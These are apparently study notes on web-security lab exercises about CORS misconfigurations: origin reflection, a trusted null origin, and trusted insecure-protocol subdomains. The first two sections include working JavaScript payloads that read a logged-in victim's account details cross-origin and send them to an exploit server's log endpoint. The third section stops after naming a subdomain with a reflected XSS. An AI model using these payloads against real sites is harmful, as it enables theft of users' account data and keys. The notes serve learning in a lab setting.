CORS vulnerability with basic origin reflection

if the Access-Control-Allow-Credentials header is present and when we add Origin: [https://example.com](https://example.com/) to our request we observe Access-Control-Allow-Origin: [https://example.com](https://example.com/)

This means that we can do this in the body of the exploit serv:

<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://0ac5009d04822ad180cd30b100b0009b.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='/log?key='+this.responseText;
    };
</script>

CORS vulnerability with trusted null origin

if it has a whitelist of authorized urls with Origin: but accepts Origin: null

if when we add Origin: null in our request the server responds Access-Control-Allow-Origin: null and Access-Control-Allow-Credentials: true

so it is possible to do this:


<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>

CORS vulnerability with trusted insecure protocols

Here, if we submit Origin: [http://example.com](http://example.com) to the GET /accountDetails request, the server won't accept (it doesn't respond with an Access-Control-Allow-Origin : [https://example.com](https://example.com) header)

But if we submit a subdomain Origin: http://grosskibidi.0a1f00e704880fd4874ab1c300a40083.web-security-academy.net

it's ok the server responds with

Access-Control-Allow-Origin: http://grosskibidi.0a1f00e704880fd4874ab1c300a40083.web-security-academy.net Access-Control-Allow-Credentials: true

our request must therefore be initiated by a subdomain

That's good, we have stock.0a1f00e704880fd4874ab1c300a40083.web-security-academy.net

vulnerable to reflected XSS in productID